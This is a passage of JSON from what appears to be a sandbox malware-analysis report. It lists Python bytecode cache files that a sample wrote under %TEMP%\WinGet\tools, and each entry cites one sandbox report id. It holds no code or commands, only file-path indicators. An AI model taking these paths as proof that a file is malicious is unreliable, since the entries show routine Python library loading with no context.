},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\inject_securetransport.cpython-310.pyc.2700894403248","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\utils\\__pycache__\\_log.cpython-310.pyc.2700905952896","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\logging\\__pycache__\\__init__.cpython-310.pyc.2700905371792","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\traceback.cpython-310.pyc.2700911774576","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\linecache.cpython-310.pyc.2700911775872","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\tokenize.cpython-310.pyc.2700911776448","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\token.cpython-310.pyc.2700911776880","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\weakref.cpython-310.pyc.2700911787536","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_weakrefset.cpython-310.pyc.2700911903488","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\string.cpython-310.pyc.2700911917312","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\threading.cpython-310.pyc.2700912117344","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\__init__.cpython-310.pyc.2700912308304","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\main.cpython-310.pyc.2700912310592","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\locale.cpython-310.pyc.2700911531552","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\autocompletion.cpython-310.pyc.2700912248768","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\optparse.cpython-310.pyc.2700911536736","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\textwrap.cpython-310.pyc.2700911539616","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\gettext.cpython-310.pyc.2700911541920","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\main_parser.cpython-310.pyc.2700911547248","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\cmdoptions.cpython-310.pyc.2700911553408","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\__init__.cpython-310.pyc.2700911554112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\__future__.cpython-310.pyc.2700912076688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\glob.cpython-310.pyc.2700912077408","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\posixpath.cpython-310.pyc.2700912078272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\__about__.cpython-310.pyc.2700912625952","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\utils.cpython-310.pyc.2700912625952","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\tags.cpython-310.pyc.2700912632992","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\platform.cpython-310.pyc.2700912659744","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\subprocess.cpython-310.pyc.2700912661904","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\signal.cpython-310.pyc.2700912662624","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\sysconfig.cpython-310.pyc.2700912941152","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_manylinux.cpython-310.pyc.2700913359344","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_musllinux.cpython-310.pyc.2700912969840","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\version.cpython-310.pyc.2700912971072","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\_structures.cpython-310.pyc.2700912358768","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\parser.cpython-310.pyc.2700913298048","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\shutil.cpython-310.pyc.2700913015472","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\bz2.cpython-310.pyc.2700913214784","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_compression.cpython-310.pyc.2700913215504","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\cli\\__pycache__\\status_codes.cpython-310.pyc.2700913309840","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\configparser.cpython-310.pyc.2700913051520","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_internal\\__pycache__\\exceptions.cpython-310.pyc.2700912779392","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\pkg_resources\\__pycache__\\__init__.cpython-310.pyc.2700913460976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\zipfile.cpython-310.pyc.2700912807200","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\pathlib.cpython-310.pyc.2700912810656","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\urllib\\__pycache__\\__init__.cpython-310.pyc.2700913321712","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\urllib\\__pycache__\\parse.cpython-310.pyc.2700912814832","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\pkgutil.cpython-310.pyc.2700923022352","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\plistlib.cpython-310.pyc.2700923028656","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\datetime.cpython-310.pyc.2700923029232","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\__pycache__\\__init__.cpython-310.pyc.2700923032688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\parsers\\__pycache__\\expat.cpython-310.pyc.2700922700624","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\__init__.cpython-310.pyc.2700922654416","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\parser.cpython-310.pyc.2700922761072","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\feedparser.cpython-310.pyc.2700913318672","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\errors.cpython-310.pyc.2700922760208","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\_policybase.cpython-310.pyc.2700922699984","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\header.cpython-310.pyc.2700922759056","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\quoprimime.cpython-310.pyc.2700922700784","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\base64mime.cpython-310.pyc.2700922701264","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\base64.cpython-310.pyc.2700922756752","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\charset.cpython-310.pyc.2700922751856","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\utils.cpython-310.pyc.2700923038448","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\_parseaddr.cpython-310.pyc.2700922704944","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\calendar.cpython-310.pyc.2700923228576","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\tempfile.cpython-310.pyc.2700923120368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\inspect.cpython-310.pyc.2700923456944","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\ast.cpython-310.pyc.2700923460688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\dis.cpython-310.pyc.2700923546928","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\opcode.cpython-310.pyc.2700923547360","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\six.cpython-310.pyc.2700922710704","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\pkg_resources\\__pycache__\\py31compat.cpython-310.pyc.2700924064112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\appdirs.cpython-310.pyc.2700923767072","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\encodings\\__pycache__\\__init__.cpython-310.pyc.1614583896368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\genericpath.cpython-310.pyc.1614585226864","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\_sitebuiltins.cpython-310.pyc.1614585304464","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\runpy.cpython-310.pyc.1614585310800","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\__init__.cpython-310.pyc.1614583905328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\warnings.cpython-310.pyc.1614585312240","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\machinery.cpython-310.pyc.1614585610608","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\util.cpython-310.pyc.1614585645072","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\importlib\\__pycache__\\_abc.cpython-310.pyc.1614585645792","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\contextlib.cpython-310.pyc.1614585646656","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__\\__init__.cpython-310.pyc.1614585611888","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\keyword.cpython-310.pyc.1614585648816","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\operator.cpython-310.pyc.1614585649104","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\reprlib.cpython-310.pyc.1614585650256","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\functools.cpython-310.pyc.1614591694368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\types.cpython-310.pyc.1614585657456","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\__pycache__\\__init__.cpython-310.pyc.1614585613328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\typing.cpython-310.pyc.1614592108144","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\collections\\__pycache__\\abc.cpython-310.pyc.1614585615248","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\pkg_resources\\__pycache__\\__init__.cpython-310.pyc.1614598111664","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\zipfile.cpython-310.pyc.1614598152400","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\quoprimime.cpython-310.pyc.1614598810608","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\base64.cpython-310.pyc.1614599209296","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\charset.cpython-310.pyc.1614599214048","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\encoders.cpython-310.pyc.1614599214624","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\quopri.cpython-310.pyc.1614599215056","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\utils.cpython-310.pyc.1614599223696","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\random.cpython-310.pyc.1614599224272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\_parseaddr.cpython-310.pyc.1614608187760","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\calendar.cpython-310.pyc.1614608207856","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\tempfile.cpython-310.pyc.1614608345696","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\inspect.cpython-310.pyc.1614608321824","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\ast.cpython-310.pyc.1614608325568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\dis.cpython-310.pyc.1614608510112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\opcode.cpython-310.pyc.1614608510544","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\six.cpython-310.pyc.1614608193840","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\appdirs.cpython-310.pyc.1614608729872","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\__pycache__\\__init__.cpython-310.pyc.1614608193520","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\ctypes\\__pycache__\\_endian.cpython-310.pyc.1614608868688","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\specifiers.cpython-310.pyc.1614608731632","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\requirements.cpython-310.pyc.1614608275888","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\__pycache__\\pyparsing.cpython-310.pyc.1614610042352","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\copy.cpython-310.pyc.1614609977616","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\pprint.cpython-310.pyc.1614609980928","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\dataclasses.cpython-310.pyc.1614609981504","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\packaging\\__pycache__\\markers.cpython-310.pyc.1614610636048","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\email\\__pycache__\\message.cpython-310.pyc.1614611171344","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\uu.cpython-310.pyc.1614611171632","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\ssl.cpython-310.pyc.1614612175664","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\__pycache__\\connection.cpython-310.pyc.1614610854848","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\__pycache__\\__init__.cpython-310.pyc.1614610408112","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\contrib\\__pycache__\\_appengine_environ.cpython-310.pyc.1614610408304","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\wait.cpython-310.pyc.1614611713696","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\request.cpython-310.pyc.1614611716512","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\response.cpython-310.pyc.1614610408880","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\retry.cpython-310.pyc.1614611718272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\ssl_.cpython-310.pyc.1614611724608","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\hashlib.cpython-310.pyc.1614611700528","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\url.cpython-310.pyc.1614611630368","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\ssltransport.cpython-310.pyc.1614610409840","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\timeout.cpython-310.pyc.1614611725312","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\util\\__pycache__\\proxy.cpython-310.pyc.1614611514272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\pip\\_vendor\\urllib3\\__pycache__\\_collections.cpython-310.pyc.1614611514976","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\queue.cpython-310.pyc.1614611538272","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\heapq.cpython-310.pyc.1614611538704","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\site-packages\\win32\\lib\\__pycache__\\pywin32_bootstrap.cpython-310.pyc.2579590718800","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\code.cpython-310.pyc.2579625997296","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\__pycache__\\codeop.cpython-310.pyc.2579625998160","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\__pycache__\\__init__.cpython-310.pyc.2579644995568","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\__pycache__\\domreg.cpython-310.pyc.2579645453856","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\__pycache__\\minidom.cpython-310.pyc.2579644996048","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\__pycache__\\minicompat.cpython-310.pyc.2579644997328","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\__pycache__\\xmlbuilder.cpython-310.pyc.2579644997808","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"path":"%TEMP%\\WinGet\\tools\\Lib\\xml\\dom\\_